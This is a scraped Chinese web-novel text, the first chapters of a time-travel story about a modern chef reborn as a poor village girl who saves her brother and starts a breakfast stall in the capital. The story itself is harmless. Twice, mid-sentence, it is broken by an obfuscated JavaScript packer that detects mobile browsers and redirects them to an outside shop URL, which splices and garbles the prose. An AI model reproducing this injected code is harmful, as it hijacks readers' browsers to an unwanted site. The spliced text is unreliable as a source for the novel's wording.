《秀色可餐小厨娘》 1. 天崩开局 清晨,秋日的第一缕阳光冲破云层洒向大地,被大雨笼罩多日的梅花村终于见了太阳。 清风拂动发丝,暖阳照到脸上,梅映禾觉得自己被人左右拉扯大卸八块。 “这丫头生得是真好,真是可惜命太短了。” “不可惜,配冥婚刚刚好,人主家等了好些日子了,好容易她哥子犯了事儿,你们都别跟我抢啊。” “啧啧啧,瞧这脸蛋儿,这身条儿,还有这皮肤……” 梅映禾觉得脸上、身上一阵生疼,不禁皱了眉头瑟缩了一下。 “嘶——” 周围的世界瞬时安静下来,梅映禾缓缓睁开眼,三四张褶皱粗糙又浓妆艳抹的大脸出现在眼前。 “妈呀,你们谁啊。” 她一个激灵坐起来,本能地抱胸往后挪了挪。 “你没死。”最丑的那张脸显然很不乐意,“不是回光返照吧。” “没死好,没死人就是我的了。”另一张丑脸乐开了花,露出一口黄牙,“快来,给姑娘换个衣裳,咱们赶着过门呢。” 梅映禾的脑子里这会儿还有些晕,但是方才梦境里的景象变成了现实,她穿越了。 看她一脸茫然,那丑妇忙解释:“东村王员外要纳姑娘做小妾,要不是你那粗野的哥哥拦着,姑娘早就吃香喝辣了,那王员外虽说已年过六旬却精壮得很,一整夜都不带歇的,人家可说了必不让姑娘吃亏,还有那首饰、衣裳……” “我呸,首饰衣裳都留给你自己带进棺材里吧,缺德的贼妇,看我不打死你们。” 丑妇话没说完,从门外冲进来一高大壮硕的妇人,手里抡着铁锹就朝那几个丑妇砸过去。 “哎哟,李家的,你疯了。” “你等着,你坏了王员外的好事,等着瞧吧。” …… “滚,砸死你个黑心的王八,再敢来打小早的主意,我就生吃了你。” 门外嘈杂声渐远,梅映禾叶逐渐清醒。 那个真实的梦境成了现实,她现在成了大隶朝梅花村的一个年仅十四岁的小姑娘,同名同姓,甚至连乳名小早都一模一样。 梅映禾不得不接受这个现实,环视了一下周围,不禁扶额叹气:见过穿越穿穷的,没见过这么穷的。 家徒四壁都不足以形容这个所谓的“家”,那是连四壁都凑不齐啊。 三面破墙,外加三尺多高的半墙,围成了比猪圈大不了多少的“家”,屋内破烂的木板床上铺着满是补丁的褥子,一张斑驳陈旧的木桌,角落里放着一口同样破烂斑驳的大木箱,除此以外,再无其他。 梅映禾看着那半面墙的“阳光房”直摇头:走了三十年的运,报应终于来了。 二十一世纪的梅映禾是一位天赋异禀的烹饪大师,三十出头的年轻女性刚刚拿下世界烹饪界奖项的大满贯,却死在了全球直播的厨艺展示环节,在全世界的关注下,现场的做饭的炉子水灵灵地爆炸了。 这只是一次意外,但梅映禾的人生却充满了意外。 从小父母意外身亡,小小年纪的她靠着自己意外活了下来,意外发现自己的天赋,意外成了一名厨师,又意外地一次次获奖、声名大噪……直到意外成为行业内第一位女性大满贯获得者。 而现在,又意外穿越了。 脑子里原主的记忆错乱繁杂,一会儿饕餮盛宴,一会儿食不果腹……梅映禾一时还没捋清,就听外头那壮硕妇人又回来了: “亲娘啊,小早啊,你可算醒了。” 一双粗糙的大手一把将她薅起来抱进怀里,“可怜的孩子啊,你醒得可真是时候啊。” “李婶儿。”梅映禾揉了揉眼睛,脑袋里原主的记忆逐渐恢复。 李婶儿是隔壁邻居,跟原主的母亲关系极好,从前李家没少得原主爹娘的帮衬,其丈夫叫李二奎,还有一个同样高大壮硕的女儿叫李小梅。 “好孩子,你醒了就好了,快去看看吧,九郎被抓了。” 九郎是梅映禾的哥哥,大名梅九畴,人唤九郎。也是现在这个家中梅映禾唯一的亲人。 “怎么了,出了什么事。”梅映禾只觉得太阳穴突突地跳着,原主的记忆中,这位兄长是个极宠爱妹妹的好哥哥,只是性子过于鲁莽刚直,没少闯祸。 “听说是抢了银子,被人抓住了,还是许县丞亲手抓的人,这会儿正在村口呢。”李婶儿的眼泪奔涌而出,“小梅已经赶过去了,你能下床吗,让你二奎叔用独轮车拉你……” “没事儿李婶儿,我可以。“事出紧急,梅映禾顾不得许多,强行撑着下床急匆匆往外跑。 半个多月前,原主梅映禾病了,躺在床上昏迷不醒,梅九畴四处求人来给妹妹诊脉看病,因实在拿不出银子没人肯来,只一个游医来瞧过一眼,头摇得拨浪鼓一般说了一句,“病入膏肓,命不久矣。” 再问就是:“饿死了。” 原主八成是饿死了,也就换来了她。 不管怎样,她得先去将哥哥救出来。 赶到村口的时候,那里果然围满了人,四五个衙役齐齐押着一精壮青年,皮肤黝黑,方头大脸,一双大眼炯炯有神,纵然如此,他也仍眦眉瞪目,十分不忿地蠢蠢欲动。 一旁,还有两名衙役扣押着一身材高挑皮肤略黑却长得格外明媚的姑娘,李小梅。 “哥,小梅姐。” 梅映禾大喊一声,拼命挤过围观人群,连滚带爬地跪在梅九畴身边。 “小早。”梅九畴看到妹妹的那一刻满眼的惊喜,“早儿,你醒了,你真的醒了,我的早儿啊,你没死啊。” 方才还气势汹汹大有被逼急了杀人泄愤的莽汉,在见到妹妹的那一刻泪如泉涌,哭得涕泪横流,惹得在场围观的村人无不为之动容。 梅家穷,全村都知道,却不是因为他们懒惰,兄妹俩的父亲梅展翔据说早年的时候从过军,之后落户梅花村,夫妻俩很勤快一家人的日子还算过得去。三年前梅花村遭了水患,为救村人,梅展翔夫妇葬身洪水,留下这对小兄妹。可惜的是,梅映禾自小就身弱,而哥哥梅九畴一直被父亲当作军人来培养,什么技能都不会只练就了一身力气和武艺。父母去世后他们兄妹靠着多年的积蓄日子越过越穷,梅九畴想过很多办法,也只能靠力气活挣点碎银和邻居们东拼西凑的接济勉强度日,可是妹妹这一病将整个家底彻底掏空了。 梅映禾来不及跟哥哥细说,忙用自己的袖口胡乱抹掉哥哥脸上的泪水,转身朝着许县丞就磕头,“大人,请问大人,我哥哥犯了什么错。” 许县丞年过五旬,是个精瘦的老头。 “你是何人。” 梅映禾抬头,面前的县丞大人身着官服,清瘦俊逸,面色白得无血色,眼底发青,一看就是经常熬夜。 这位大人是去岁才调任来临京县的,大家都传他曾在京城里做大官的,恐怕是犯了大错触怒天颜,才被贬九品芝麻官。 “回大人,我叫梅映禾,是他的妹妹。”梅映禾指着梅九畴道。 县丞看了她一眼,小娘子生得雪白俏丽、眉眼清秀,倒是她那个五大三粗的哥哥刚好不怎么像。 “你哥哥拦路抢钱。”许县丞冷冷的声音从头顶传来,“还持刀伤人。” “胡说,我没有。”梅九畴奋起反抗,被几名衙役用力压了回去。 “大人莫要听别人一面之词,会不会弄错……”梅映禾刚想开口替哥哥辩解,话就被打断了。 许县丞冷冷道,“他抢的人正是本官。” 梅映禾:…… 得,完犊子,抢钱抢到公安局长了,可是真的勇啊。 “狗官,我呸,抢的就是你,人模狗样不干人事,胡说八道,欺压百姓……”这是小梅的声音,这个直爽的姑娘跟梅九畴的脾气如出一辙。 梅映禾:…… 好嘛,还有个拱火的猪队友。 “哥,小梅姐。”梅映禾急忙拦下她的话,唯恐小梅再说下去事情无法收拾。 “大人。”梅映禾转头看向许县丞,“那,小梅姐所犯何罪?” 许县丞冷笑一声,“她口中信誓旦旦骂本官‘狗官’,扬言劫狱、报仇、不得好死,拿着根木棍冲了过来,唯恐有失,本官只能将人拿下。“ 还真是一对儿,梅映禾沉默,无言以对。 “怎么。”许县丞看着她问,“你还何话说。” “大人,他们都还是孩子,心不坏的。” 一旁看热闹的村人替二人说情。 “是啊,还请大人饶过他们吧。” …… 许县丞没应,面色不虞抬眸看向远处,也不答话。 这样僵持下去不是办法,梅映禾想,若是让他们把人带走,连累了小梅姐不说,自己也再没有能力把哥哥捞出来了。 如此想明白,梅映禾咚咚咚又磕了几个响头,悲声道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13819653|146309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“敢问大人,我哥哥他抢了您多少银子?” 这是个关键的问题,直接决定了梅九畴的罪行轻重。 许县丞垂目看着她,“本官身边有护卫,他没抢到。” 未遂,梅映禾心里有了底气,又问,“再问大人,我哥哥伤到您哪里。” 从她见到这位上官就观察了一遍,没发现他受伤。 “他也没能伤到本官。” 耶,梅映禾心说谢天谢地。 “那大人,如何于我哥哥定罪。” “按律,《窝藏重法》《重法》条例,强盗犯处斩,其家人发配边远地区。” 梅映禾:…… 这是什么样的天崩开局。 许县丞的话顿时惹得围观的村人皆是一惊,大家忍不住嚷嚷: “大人,这样是不是太过分了。” “就是,那些贪官污吏草菅人命还活得好好的,就知道拿我们小老百姓开涮。” “官官相护,还有没有天理了。” …… “狗官。”此刻的梅九畴在听到妹妹要被发配边远地区的时候终于忍耐不住,挣扎骂道,“我都没碰到你,你下此狠手,我就是做鬼也不会放过你的。” “哥哥,闭嘴。”梅映禾冲着梅九畴大吼一声,再这样火上浇油,恐怕就地正法也不是不可能。 梅九畴第一次见妹子发这样大的脾气,登时也噤了声。 梅映禾调整一下思绪,强迫自己冷静下来,脑子里原主的记忆已经恢复,这个现状必须改变。 小娘子把心一横,又一次十分恭敬地对着许县丞磕了个头,“大人,我哥哥是个粗人,不懂得什么律法,口无遮拦还请大人莫要往心里去。一切只因家中贫困,他一心想为我这个重病卧床的妹妹讨口吃的。” “家中贫困可以勤劳致富,难道穷人都可以打家劫舍、害人性命吗?”许县丞厉声质问,目光再次掠过梅映禾,小娘子一身旧衣,面色蜡黄身形瘦弱,的确看上去久病缠身的模样。 “自然不可以。”梅映禾高声道,“可是家中贫困并非我们懒惰,整个梅花村连年受灾,上有重税下无良田,村人无以为继,而非一家如此。” 梅映禾的开局实在太惨,三年前梅花村遭受水灾,之后起了疫病,紧跟着第二年又是旱灾,村民死的死病的病,父母官换了一茬又一茬,日子也越过越穷。 既来之则安之,梅映禾不怕穷不怕苦,可是大环境不改变只靠自己的力量微乎其微,心里思量再三,还是决定冒险一试,借着这个机会不吐不快,不成功便成仁。 “大人,小民有三件事请问大人。”梅映禾磕了个头,“第一件,梅花村连年受灾损失惨重,良田屋舍尽毁,就连我们的户籍证明都没有了,毁了田地影响收成,可没了身份即便距离京城再近,我们也无法入京,那好容易收上来的粮食和菜无处可卖,就换不来银子,请问大人,我们要如何生活。” 她又磕了个头,“第二件问大人,前朝尚有对于受灾贫困的救助银两,临京县父母官走马灯似得换,却至今无人管过梅花村的困境,三年了,我们梅花村的百姓就活该受穷,生生等死吗。” 第三个响头,梅映禾再次开口,“第三件再问大人,老百姓看天吃饭,可朝廷却旱涝保收,我们无地无钱无粮,甚至连村子都出不去,这些朝廷不管,可是我们的税却一分不曾减免,难道要我们交命吗?” “大人。”梅映禾再次磕头,恭敬道,“小民无意冒犯,只因哥哥一没有抢到银子不造成严重后果,二没有伤害到大人,尚有可转还的余地,小民只想求大人放我哥哥一条生路。还请大人给他一个改过自新的机会,我保证他日后绝不再犯。” 思路清晰,切中要害,字字珠玑。 这番言论大胆又犀利,村人听不懂,梅九畴也没听懂,甚至衙役们也是一知半解。 只有许县丞一人眉头紧锁一语不发,垂目看着眼前这个尚未及笄的小娘子,心中波澜再起,一个生活在乡野山村的小小年纪的小女娃,如何能有这般见识、胸襟和气魄,实在令人惊叹。 “你所言,本官自会调查。”许县丞开口,声音平静听不出喜怒,“至于梅九畴的抢劫罪,虽未造成严重后果但实在恶劣可恶,死罪可免活罪难逃,按律当罚七百文钱,以儆效尤。” 许县丞顿了顿,叹了口气道,“念你们家贫,罚金缓交,立下字据三月内还清即可。” 2. 天使投资 “但是你们待罪之身,本官会给你们一个照身贴,以证身份。” 这话许县丞是看着梅映禾说的。 所谓照身贴便是身份证明,上头画有头像还有身份户籍等信息,这是怕他们赖账跑了。可是梅映禾却看懂了另一层含义。 “这什么意思,三个月之内还清七百文,怎么不去抢。” “这是帮吗,这不是变相逼死人吗。” “还要带照身贴,这不明摆着告诉别人是罪人吗。” …… 七百文钱和照身贴,在梅花村村民看来一个是巨款,一个是奇耻大辱,也难怪大家如此抗议。 可眼下没有讨价还价的余地,毕竟是犯了事了,现在不用砍头不用坐牢,还可以缓缴罚款,自然应当千恩万谢、感激涕零才对,可问题是,日子还得过呀,现在没有银子,这三个月后就能有银子了?别说三个月,恐怕三年都还不起啊。 “狗官,我们不稀罕,要杀要剐……” “要杀要剐小民回家处理。”梅映禾打断了哥哥的叫嚣,磕头道,“多谢大人,就以三个月为期,一言为定。” 怎么说呢,梅九畴的愤怒梅映禾可以理解,村人的议论她都明白,对他们而言三个月内还清七百文还不如去死,但是梅映禾一口就答应了。 “你确定?”许县丞弯了弯腰,看着小娘子,“君子一言。” “驷马难追,大人放心,我说到做到。” 小娘子明媚一笑,露出雪白的牙齿,这样畅然自信的笑容倒是很像一个人……许县丞收回思绪点头: “送佛送到西,本官再多借给你二十文钱,助你开局。” 二十文钱其实正是官府对于贫困户的每日补贴的数额,只是许县丞眼下还没有得到这样的政令。他不知道一个小娘子要如何开局,当真是对梅映禾充满了好奇。为官三十余载阅人无数,却从未见过这样伶俐、通透又真诚、大胆的人,可惜只是个生长于乡野的小娘子,若是小郎君,他便愿意收其为徒,必不叫明珠暗投。 手里握着沉甸甸的二十文铜钱,梅映禾心道:“嗯,天使投资,还不算太坏嘛。” 怎么说呢,有一种劫后余生而又痛不欲生的感觉。 事已至此,也没什么好说的,梅九畴啐了一口道:“今日点儿背,等明日我再进山……” “进山做甚,继续做这种勾当吗?”梅映禾打断了他的话,对于这个哥哥颇有几分无奈。 “不然怎么办,七百文,还以为是菩萨心肠的好官,谁知竟也不是个好东西。”梅九畴气急败坏,“还有那二十文,说得好听是借,可够干什么的,连一斤大米都买不到。还有,走到哪里都要带着那照身贴,这跟宣告我们是牢犯有什么分别。” “好。”梅映禾将二十文钱“啪”的一声拍在桌上,“既然哥哥如此说了,明日我就将这二十文钱还给人家。左右也是用不到了,等哥哥你蹲了大牢被人砍头,我也是要被发配的,不如现在我就去那青楼楚馆学点儿本事,最起码还不至于……” “你敢。”梅九畴一听青楼楚馆几个字立马急了。 “我有什么不敢的,咱们兄妹一个打家劫舍一个青楼为娼,不是正好吗。” 兄妹争吵,梅映禾红着眼圈含着眼泪梗着脖子毫不示弱。 小早难过了。 九郎心软了。 “好好好,我不去就是,那我们该怎么办。”梅九畴没脾气地一屁股坐在地上,直叹气,“要怪就怪阿爹,从小只教我练身子学武艺,现在什么手艺都不会,空长一身蛮力,还要让妹妹饿肚子……” 看着他说了泄气话,梅映禾上前拉着他粗粝的大手,哽咽道: “哥哥是小早唯一的亲人,若是哥哥有事,小早必不能独活。所以哥哥,我们想想办法好好过日子赚银子。” 谁不想呢,可是哪里有办法啊,梅九畴垂头丧气。 办法不是没有,只是现在梅映禾还不能说,即便说了恐怕梅九畴也不会信。 “哥哥,我饿。”梅映禾眨巴眨巴泪汪汪的大眼睛看着梅九畴。 瞧着妹妹可怜的样子,梅九畴心里更难受了,谁不饿,他也饿,可是怎么办呢,家里什么吃的都没有了。 “咱们拿这二十文买些东西,先吃顿饱饭,好不好。”梅映禾趴在梅九畴胳膊上蹭,“阿爹说过,天下大事吃饭第一,或许吃饱饭有力气了也就能想到办法了。” 虽然是一句安慰的话,可梅九畴也不管三七二十一了,“阿爹说得对,天下大事吃饭第一,小早想吃什么咱们去买。” “哥哥,我想吃葱油拌面,我会做,阿娘教过我。”梅映禾自告奋勇。 “我怎么没吃过什么葱油拌面。”梅九畴还在纠结,已经被妹妹拉着走出了家门。 京城入不得,也只能在镇上买些应急的东西,按照梅九畴的想法找地方吃点儿饭先填饱肚子再说。谁知妹妹好像并不是这么想的。 手里攥着二十文钱,梅映禾好像十分有规划。 先不着急吃饭,东家买了一口锅,西家买了铲子,还有油盐酱醋糖,竟还买了五香粉。梅映禾跟在妹妹身后也不打扰她,看着她掰着手指头算着还差什么,哪家便宜些。就这样跟了一路,怎么看怎么都觉得今日妹子好似不太一样,再想想方才她跟许县丞说的那些话…… “早。”梅九畴接过妹妹刚买的一小袋子面粉,估摸着最多半斤,“你方才跟那狗官说的话,是打哪看来的。” “没打哪看。”梅映禾头都不回,“从前听阿爹说过,就记住了。” 梅九畴:…… 阿爹走的时候小早才不到十岁啊。 “那,那些话究竟是啥意思。”他又问。 这回梅映禾认真想了想,“意思是我们穷却不是我们的错,我们再穷也有活下去的资格,天灾人祸我们没办法……就是,就是希望他能帮帮咱们的意思吧。” “那他会帮吗?” “应该会的。” “怎么帮?” “他不说了吗,他会调查的。”梅映禾站住脚步,转身看着梅九畴,“哥,我想进京做生意,京城里贵人多,一定卖得好。” 话虽如此,可是入京需要籍属证明,梅花村的所有籍属证明都毁了。 “可是我们梅花村的人入不了京。”梅九畴叹气,“再说,要做什么生意呢。” “旁人不行我们可以啊。”梅映禾也不点破,笑着往前走。 梅九畴不懂妹妹在想什么,可是觉得妹妹变了,哪里变了他也说不明白,比如……梅映禾看着面前梅映禾的背影,对了,他一把拉住她,“你身子还弱走这么快做甚,不难受了?” 小早自小体弱多病,这又病了许多日子,梅九畴心疼得不行。 “哥。”梅映禾大概是看出了梅九畴异样的眼神,心里一时有些不忍,他最疼爱的妹妹其实已经死了。 “你就当我是得了仙家的指点 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回去路过李婶儿家,梅映禾将最后的二文钱给了李婶儿,要了点儿小葱和鸡子,这些再用买的就不划算了,再说李婶儿家虽穷却也是能吃上饭的,小葱是李婶儿自己种的,鸡子也是自家母鸡下的,梅映禾给了二文钱应当是够的,李婶儿原不想要,奈何小姑娘执意,这才多给了许多,况且也能免了他们跑去县丞卖,来回路途麻烦不算还不一定能卖得出去,算是举手之劳帮人帮己吧。 二人拉扯了好一阵子,梅映禾扔下二文钱就跑了,最后李婶儿又让小梅端了两碗米粥送过来。 当日午食,梅映禾做了穿越而来的第一顿饭,葱油拌面。 先和面擀面条,然后将面条放入热水中煮熟后捞出,过一遍冷水,这样面条更筋道。等面条准备好了之后,将小葱洗净切段,锅中倒油,等油热后放葱段炸至出香味,少放些盐,最后将面条盛入碗中,浇上刚出锅的葱油,滋啦啦的响声冒着热气,香味浓郁得很。 梅映禾做饭的时候梅九畴全程在一旁看着,他原是担心妹子的身子,现在却是惊呆了。大脑里飞快地旋转,梅九畴确定,这个叫葱油拌面的东西,他这辈子都没吃过。 “哥哥和阿爹出去练武的时候,阿娘给我开的小灶。”梅映禾笑着解释。 梅九畴点点头又摇摇头,“阿娘就是太会过了,这么补身子难怪补不起来。” 油光晶亮的面条裹着香气,一口下去口齿生津,简直太好吃了。梅九畴一句话都没说,一口气炫了三大碗,这才意犹未尽地打住。 抹了一把嘴,看着梅映禾问,“那你买的那些东西,是留着做甚的。” 他指的是鸡子、五香粉、酱菜那些。 梅映禾道:“等等哥哥就知道了。” 话刚说完,小院儿外头来人了。 说是小院儿,破烂不堪的栅栏连只狗都防不住,也没有门,一眼望到头。门口站着一个身穿公服的衙役,见了兄妹二人客气行礼道:“这是我家大人让给二位的。” 一个信封递过来,梅映禾拆开里头是两张照身贴。 “狗官。”梅九畴没好气地哼了一声。 “哥哥,有了这个我们就可以入京了呀。”梅映禾开心地晃动着手里的两张照身贴,“入京需要身份证明,这不就是咱们兄妹的身份证明吗。” 梅映禾抱着梅九畴激动得直蹦,“哥哥,哥哥,我们明日就入京卖早食去。” 3. 捡了个男人 梅九畴看不懂妹妹和那个许大人之间的哑谜,但是妹妹的话他信。 因为要带炉子,他还去李婶儿家借了独轮车来用,对于他们兄妹拿到的照身贴,梅映禾告诉他,“这虽然不光彩,可也是身份证明,有身份证明就可以过城门入京。” 是这个道理没错,梅九畴心里舒坦了许多,“还是我们早儿聪明。” 第二日天还没亮,梅九畴就起床了,收拾独轮车,将要带的东西装到车上,这些体力活儿他不会让妹妹操一点儿心。 梅映禾起床的时候一切都已经准备妥当,二人也不吃早食就赶着往京城去了。 梅花村距离京城半个多时辰的脚程,到了城门口就看到排起的长队。有进京赶学课的秀才书生,有和他们一样做生意的村民,还有往来采买的奴仆……城门核查比较严格,八道门开了六道,核验速度倒是不慢。 从未进过京的梅九畴既兴奋又紧张,待到他们的时候,梅映禾甜甜笑着喊了一声:“官爷。” 便拿出照身贴递过去,也不多说话,只等对方自己看。 那守卫果然愣了一下,上下打量了二人,眼神如针,扎得人浑身难受,倒是没多盘问便道,“去吧。” 这便过了关了,梅九畴长出一口气,握紧的拳头松开,满手的汗。 他已经做好了对方为难妹妹自己动粗的准备了,谁知梅映禾说:“光明正大不丢人,等咱们赚了银子赶明儿就在这京城里买房置地。” 梅九畴点头笑着,这可是从未想过的,但是小早说了就一定能成真。 京城繁华,早市可见一斑。 天还没亮,街道上食肆、摊铺已经支起了帐篷,炊烟升腾,香气四溢,一派欣欣向荣的景象。 梅九畴眼睛都不够使了,这和梅花村简直太不一样了啊,他们村子里的人多半是要睡到午时的,因为起来也没事情可做,这里的人个个精神抖擞、忙得不可开交,处处透着一股子鲜活劲儿。 “哥,就在这里吧。”梅映禾选好了地方,让梅九畴将东西搬下来。 这里是大臣们上朝的必经之路,达官显贵所到之处必定人多热闹,东西自然好卖。 摊子支好,炉子点起来,还没有人来买梅映禾就开始做了。 她要做的是煎饼果子,这在后世极受欢迎而现在却没有。 京城里人多且杂,今日你来摆摊,明日我开食肆,说不定谁就发达了,大家见怪不怪却也十分懂得结善缘,彼此打了招呼各自忙碌。 但是今日新来的这二人却不同,个头儿娇小的小娘子哥哥长哥哥短地唤着,还以为那精壮青年是大拿,却不承想,香味儿飘过来的时候,小娘子才是灶上忙碌的那个。 也不是没见过好看的小娘子做饭,只是今日这小娘子实在让人挪不开眼。 粗布旧衣仍难掩骄人容色,皮肤白嫩透着粉红,眉眼明媚,眼波流转间自带一种风流韵味。一边专心灶上之事一边同她哥哥说话,笑起来大大的眼睛弯成月牙儿,长睫忽闪忽闪的,水灵灵的喜庆,甚是好看。 这长相还在其次,更绝的是她的做饭的动作,纤细的手腕翻转,灵活的十指娴熟地磕鸡子、撒葱花、放油条、夹酱料、翻饼皮,赏心悦目,看得人宁愿多排队看一会儿都不急着走。 “大娘您要甜的还是辣的。” “这叫软饼,自家祖传的,您尝尝,不好吃不要钱。” “让我说就甜辣都要吃着才过瘾。” …… 小娘子人美嘴甜,说话的声儿听着骨头都酥了,偏又不是小气拘谨的,跟谁都聊上几句。三文钱一个大软饼,从中间一切两份,又粗又厚实地包裹着,咬一口,香,再咬一口甜辣齐冲味蕾,有香浓的酱料味,还有劲道的油条,还有裹着蛋液的软饼的厚实,真真是好吃不贵。 不多时,梅映禾的摊位前排起了长队,有路过的妇人买回家给孩子夫君品尝的,有上朝的大人遣家仆来买的,还有一旁同样做早食生意的买来尝尝鲜的,还有七八个年轻后生,安安静静地红着脸偷偷觎着小娘子慢慢排队的…… 梅九畴虽忙着收钱却也没忘护着妹妹,毕竟这里是京城,刚开始看着大家十分友好心里还很高兴,这会儿却拉下脸来了。 那几个书生模样的人在偷偷看他的妹妹,真想把他们眼珠子抠出来,看什么看,没见过世面。 待轮到几位书生的时候,梅九畴一个箭步上前,粗声道,“要什么味的,甜的辣的。” “甜的啊,大男人吃什么甜的。” “辣的啊,两眼通红了还吃辣,不上火吗。” 梅映禾:…… “哥,你去帮我和面,面不够了,还有炉火,再烧旺些。” 这才把虎视眈眈的哥哥支开了。 软饼卖了不到两个时辰,待到天光大亮,额角微微冒出细密汗水的时候,带来的所有食材就都卖光了,统共卖了二十一个,其实还能卖得更多,只是第一日梅映禾觉得还是应该有些饥饿营销的策略。 这不,没买到的已经预定了明日,还有几家奴仆重新跑回来说自家大人吃得极好,也预定了明日的早食,自然,七八个书生虽没预定,但梅映禾知道他们明日定会还来,而且人数更众。 逐一登记完,数了数,明日最少要做四十个才够卖的,梅映禾笑得很开心。 一旁梅九畴正在数铜钱,一个一个数得很慢很仔细。 “三文钱一个,二十一个就是六十三文。”梅映禾顺口就说出来,没得到哥哥的回应,他还在数钱。 待到她这边将东西都收拾好之后,梅九畴也终于数完了,瞪着大眼看着她:“六十三文,一日两个时辰就卖了六十三文,若是能卖十二个时辰是多少?” 梅映禾笑道,“是钻钱眼里的哥哥。“ 梅九畴挠了挠后脑,不好意思地笑了,“是我财迷了,我们早儿刚好一些,每日就卖两个时辰足够了。先前我还觉得三文一个贵了,啧啧,看来这京城里的人是真有钱。” 不是京城里的人有钱,是梅花村的人太穷了。 “这些是要去掉成本的。”梅映禾觉得有必要让哥哥也清楚一些,“许大人的二十文是要还的,那也是咱们的成本,去掉。明日要继续卖吧,那就还得继续添食材,面、油、盐、酱、醋、糖、葱……这些昨日只买了一日的量,今日咱们多买些还能便宜些,也免得日日都要采买,还有,马上天冷了,咱们家那大洞怎么都得赶紧补起来……” 如此一说,梅九畴赶紧道:“这是大事,今日就办。” 还有天冷了,兄妹俩都没有冬衣,早晨越来越冷可不行;还有家里要添置的东西实在太多了;还有出摊用的车子,总不能一直都借人家的;还有那七百文欠债…… 所以,今日的六十三文钱估计剩不了多少了,梅映禾还想再给哥哥做点儿吃的,一会儿再去买些肉,十八九岁的精壮青年整日吃葱油拌面怎么成,□□后也是要做大事的,身体底子得保养好。 买好了所有的东西,兜里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13819655|146309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还剩十二文,比预想的还要多,梅映禾很开心。 回到家的时候已经快午时了,梅九畴去李婶儿家还独轮车,看着他们兄妹拉了那么些东西回来,李婶儿和二奎叔甚是惊讶: “哪儿来的银子,可别是……” “叔婶儿,我们去卖了一次早食。”梅九畴按照妹妹教的说了个大概。 “不错真不错,你娘在天有灵一定高兴。”李婶儿激动地直抹眼泪,转头就叫小梅去给梅映禾送东西。 是几件衣裳,都是小梅穿小的,因得她身材高壮,李婶儿特意改小了给梅映禾。 “娘说你得出门还是得有换洗的衣裳,从前不要就算了,现在再推辞就是看不起咱们了。” 梅映禾哪里敢推辞,忙谢过收下,都是极好的衣裳,她很欢喜。 小梅红着脸偷偷看了两眼正在外头忙着修房子的梅九畴,问:“你哥哥他,还好吗?” 梅映禾笑着逗她:“好得很,我哥说了,等我们赚了钱还了银子就攒钱娶媳妇呢。” 小梅的脸红得更厉害了。 刚巧梅映禾今日想做卤肉面,本来是卤肉饭会更好,只是银子有限,若是单独买米又要多出一笔开支,索性就这现成的面改成了卤肉面。 小梅也被留下来一起尝尝,这会儿欢欢喜喜地跑去给梅九畴帮忙修房子去了。 卤肉面的做法主要讲究火候的把握。 先将五花肉切成小块,洋葱、姜、蒜切末,锅中放少量油,加糖小火慢慢炒成焦色,再将五花肉块放入锅中,翻炒至肉块表面微黄,加入洋葱末、姜片、蒜末,继续翻炒出香味,之后倒入酱油,继续翻炒,直至肉块均匀上色。最后锅中加入足够的清水,水量要没过肉块,放入八角、香叶、桂皮,先用大火烧开后转小火,盖上锅盖慢炖半个时辰左右,直到肉块软烂,再放盐,调整口味,将煮好的面条放入碗中,浇上炖好的卤肉和卤汁,最后撒上葱花点缀便成了。 色泽赤红,肉香浓郁,面条爽滑,好吃得小梅都快哭了,梅映禾又给二奎叔和李婶儿送过去,简直被夸上了天。 昨日的事情全村都知道了,下午的时候大家纷纷过来慰问,有能力的人家还送来了菜和粮食,虽然不多却是大家的一份心意,梅映禾很感动,一一记在心里。 晚食本来她想尝试做肉夹馍和里脊肉饼试试,毕竟煎饼果子太单调,她想多赚银子就得丰富产品,而且煎饼果子是素的,三文钱一个已经不便宜了,要想赚更多就得卖带肉的,经过这一日,梅映禾算是看明白了,只要东西好,京城里的人舍得花钱。 可是梅九畴非说怕她累着,什么细水长流这种他仅会的几个词儿都逼得蹦出来了,梅映禾只得作罢,晚食还是卤肉面,吃完兄妹二人早早洗漱睡觉。 梅九畴忙了一日,又卖早食又推车还回来修房子,刚躺下就打起了鼾声,听着哥哥沉睡的香甜,梅映禾心里美美的,原主的哥哥其实是个很好很好的人,就是从前太鲁莽,日后等有了银子定得让他去从军,这是阿爹对他的规划也是他自己的理想…… 正想着,就听院子里“咚”的一声响,梅映禾惊了一下,还没反应过来,就看梅九畴已经窜出去了,梅映禾赶紧下床跟去看看。 乌云遮月,院子里黑咕隆咚勉强能看个大概的影儿,但是一股子浓重的血腥气直冲鼻子。 “早,回屋去。” “怎么了哥。” “有个人。”梅九畴来了精神,“一身血,不知道死了没有。” 4. 地锅鸡 梅映禾熟庖厨之事,于血、肉、内脏之物并没有太大惊骇,人嘛,构造上跟动物大同小异,有什么可怕的。 但梅九畴显然比较紧张自家妹子,“快回屋去,看了夜里睡不着觉。” 梅映禾:…… 很显然,更紧张的是他自己。 白日里还喊打喊杀的汉子,此刻明显慌了神儿,一双手不知道该放哪,一会儿垫到那人脑后,估摸着是想将人扛起来,一会儿又缩回来探探鼻息,怕人死在他家回头说不清,毕竟,兄妹两个身上还带着官司呢。 “哥。”梅映禾看了半天实在没忍住,“还是先把人扶进屋吧。” 梅九畴点点头又摇摇头,“不成,我还是去叫村长来吧。” 说完他拔腿就走,梅映禾赶紧上前拦住他: 